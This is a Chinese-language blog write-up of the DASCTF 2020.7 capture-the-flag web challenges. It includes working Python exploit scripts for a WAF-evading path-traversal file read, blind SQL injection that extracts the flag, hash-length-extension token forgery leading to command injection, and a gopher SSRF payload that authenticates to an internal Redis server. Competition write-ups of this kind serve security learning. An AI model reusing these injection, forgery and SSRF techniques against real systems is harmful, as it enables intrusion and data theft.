[DASCTF 2020.7]Write up

/ 1评 / 0

Ezfileinclude

文件包含,但是会获取当前时间,时间不对就返回错误
测了一会儿 发现如果../会被waf,但是1sd/../不会
所以直接读flag

import time
import requests
import base64
files = base64.b64encode("ha1c9on/../../../../../flag".encode('utf-8'))
filename = str(files, encoding="utf-8")
print(filename)
time = int(time.time())
url = "http://183.129.189.60:10009/image.php?t={}&f={}".format(time,filename)
r = requests.get(url)
print(r.text)
SQLi

其实是一道mysql的题过滤preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);,也让人以为是sqlite,但是读一下version就知道是mysql了

过滤空格用/**/
题目过滤了or和,无法使用Information_Schema.Tables。
之前常用的 innodb_table_stats 和 innodb_index_stats 也无法使用。
过滤information_schema和stat导致sys.schema_table_statistics不能用,用sys.x$schema_flattened_keys

import requests
import string
url = 'http://183.129.189.60:10004/?id='
flag = ''
for Len in range(1,50):
   max = 127
    min = 33
   while max >= min:
       mid = (max + min) // 2
       payload1 = 'select/**/group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys'
       payload = "1'/(ascii(substr(({}),{},1))>{})%23".format(payload1,Len,mid)
       #print(payload)
        r = requests.get(url+payload)
       #print(r.text)
       if 'admin' in r.text:
           min = mid + 1
        else:
           max = mid
       if max == mid == min:
           flag += chr(mid)
           print("成功:{} 长度:{}".format(flag, len(flag)))
            break
flllaaaggg表
import requests
import string
flag=''
url = 'http://183.129.189.60:10004/?id='
for i in range(50):
    for j in string.printable:
       payload = "1'/((select/**/1,'flag{"+str(flag)+str(j)+"')>(select/**/*/**/from/**/flllaaaggg))%23"
       print(payload)
       r = requests.get(url+payload)
       if 'admin' in r.text:
           flag+=chr(ord(j)-1)
           print(flag)
            break
#flag 60325f20416b40b11b6049734bad11cf

出flag。中间到有一点需要手动修正一下flag

和ezsqli差不多
Homebrew Dubbo
思路

打开是一个文件上传界面,上传后会返回文件下载的token,经过测试是一个java的页面。
我尝试了使用软连接上传一个文件,发现不可用。
同一个文件上传返回的token还不一样
token中带有的两端数字暂时不知道什么含义,并且上传相同文件发现还会变
{"sign":"N2I5NWFlZmNjYjBkNTNlM2QwMGRjYWUxYTlkMDJhNDg=","id":"M2EwOTJiMjctNGY1Zi00ZTFjLWEzYmYtZTM5ZTJjYTU0NTQy"}
然后我注意到JS里注意到了一个接口/api/list/
http://183.129.189.60:10003/api/upload/list
发现可以下载文件
通过某个token我拿到了题目源码

发现题目返回的全部是随机数,不可控?
之后审计我注意到了内网有redis

 

猜测可能是用ssrf打内网redis 但是java ssrf能用gophar打吗
之后我又发现给了file.sign.key

跟进后

没有想到什么利用点
之后我注意到了shell类

目前我的思路感觉是用文件中给的key去伪造命令,通过更改token得到shell去打redis,但是好像我自己构造有问题没成功?

预期解

/**/靶机不通外网,所以弹不了shell
预期思路是执行命令,打内网redis,带出数据,具体解法如下
首先拿到token解码后
{"sign":"N2I5NWFlZmNjYjBkNTNlM2QwMGRjYWUxYTlkMDJhNDg=","id":"M2EwOTJiMjctNGY1Zi00ZTFjLWEzYmYtZTM5ZTJjYTU0NTQy"}
发现是前面sgin,后面uuid。
然后我注意到JS里注意到了一个接口/api/list/
http://183.129.189.60:10003/api/upload/list
发现可以下载文件
通过某个token我拿到了题目源码
拿到源码后进行审计

看到这里read方法的ID直接被拼接命令,再次发现id可控,所以可以利用生成恶意ID来执行任意命令
然后审计命令发现他

shellUtil.exec("cd " + uploadFolder + " && unzip " + id + ".zip -d " + tmpPath + "/" + dictName + "/");

其实可以很明显的注意readfile的时候首先解压了zip 所以猜测其后端上传的文件都打包成了zip

从这里也可以明显看出上传的文件被打包成了zip,readfile的时候在将其进行解压
继续审计发现在application-prod.properties中。redis的密码被隐藏了

之后我发现

所以目前思路就很清晰了 需要伪造ID,执行任意命令,拿到redis密码,ssrf打内网redis拿flag

命令执行

查阅资料发现token的返回值很像hashpump的格式。 所以用hash拓展攻击
首先我们随意上传一个文件,拿到token,使用python or kali自带的hashpump生成恶意payload,设置json格式访问
首先使用hashpump拼接命令。
这里靶机不通外网,所以不能弹shell,页面没有回显,所以需要把结果映射到本地文件
需要注意的是,我们执行完成命令后也需要将结果在本地生成并打包成zip,不然会无法利用readfile拿到文件

   result = hashpumpy.hashpump(sign, id,
                                ';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',
                               32)
    print(result)

我们可以通过如下python代码得到我们的payload,这其中filename是随意 command写入我们的恶意命令
得到新的id和sign之后书写出成json模样。访问/upload?token='you payload'。这时后台就会执行我们的恶意payload,并将结果写入文件
再次访问list接口查找相同file name的id即可下载
当然用python遍历更快一些

import base64
import json
import sys
import hashpumpy
import requests
url = 'http://183.129.189.60:10017/'
command = sys.argv[1]
def uploadTestFile():
r = requests.post(url+"/api/upload",
files=[('file', ('test.txt', 'ha1c9on'))])
return r.json()['data']['token']
def rceToGetFile(token):
filename = 'ha1c9on'
data = json.loads(base64.b64decode(token))
id = base64.b64decode(data['id'])
sign = base64.b64decode(data['sign'])
result = hashpumpy.hashpump(sign, id,
';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',
32)
print(result)
data['id'] = base64.b64encode(result[1]).decode()
data['sign'] = base64.b64encode(result[0].encode()).decode()
token = base64.b64encode(json.dumps(data).encode())
#print(token)
try:
requests.get(url+'/api/upload', params={'token': token}, timeout=5)
except:
pass
return filename
def getTargetFileToken(filename):
r = requests.get(url + "/api/upload/list")
data = r.json()['data']
for item in data:
if item['id'] == filename:
return item['token']
return None
def getFlag(token):
r = requests.get(url + "/api/upload", params={'token': token})
origin_text = r.text
return origin_text
if __name__ == '__main__':
print("[*]上传文件")
token = uploadTestFile()
print("[+]Token:" + token)
filename = rceToGetFile(token)
print("[*]从文件列表中获取该文件的 Token:")
test_token = getTargetFileToken(filename)
print("[+]Token 获取成功,Token:" + test_token)
test = getFlag(test_token)
print("[+]结果:\n" + test)

可以成功执行命令后一切都逐渐容易了起来

SSRF打Redis

拿Redis密码
可以执行任意命令后,我们就需要拿到redis密码了

可以很明显的发现了其服务的jar地址。jar的原理就是zip,所以拷贝到tmp解压

python3 test.py 'mkdir /tmp/ha1c9on/ && unzip -d /tmp/ha1c9on/ /usr/bin/flag_provider-0.0.1-SNAPSHOT.jar'

拿到密码
可以知道,打Redis一般使用了gopher github上只能生成phpshell或者反弹shell。而靶机不通外网。需要自己改造gophper-redis-auth

import urllib
class colors:
reset='\033[0m'
red='\033[31m'
green='\033[32m'
orange='\033[33m'
blue='\033[34m'
print colors.green + """
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\\\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
""" + "\n\t\t" + colors.blue + "Modified: " + colors.orange + "$glzjin$" + "\n" + colors.reset
def Redis():
def get_Redis_ReverseShell():
password = "glzjin_wants_a_girl_friend"
server = "redis"
# 4 #1
payload = """*2\r
$3\r
get\r
$4\r
flag\r
*1\r
$4\r
quit\r
"""
authPrePayload = '''*2\r
$4\r
AUTH\r
$''' + str(len(password)) + '''\r
'''+ str(password) + '''\r
'''
if password != '':
payload = authPrePayload + payload
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "\033[93m" +"\nYour gopher link is ready to get Salve connect: \n"+ "\033[0m"
print "\033[04m" +"gopher://" + server + ":6379/_" + finalpayload+ "\033[0m"
get_Redis_ReverseShell()
if __name__ == '__main__':
Redis()

 
获取到keys后直接获取flag的键值

赵总tql ORZ

  1. […] 1.Y1ng师傅的: ?id=100’/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23 2.HA1C9ON师傅的:[DASCTF 2020.7]Write up […]

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注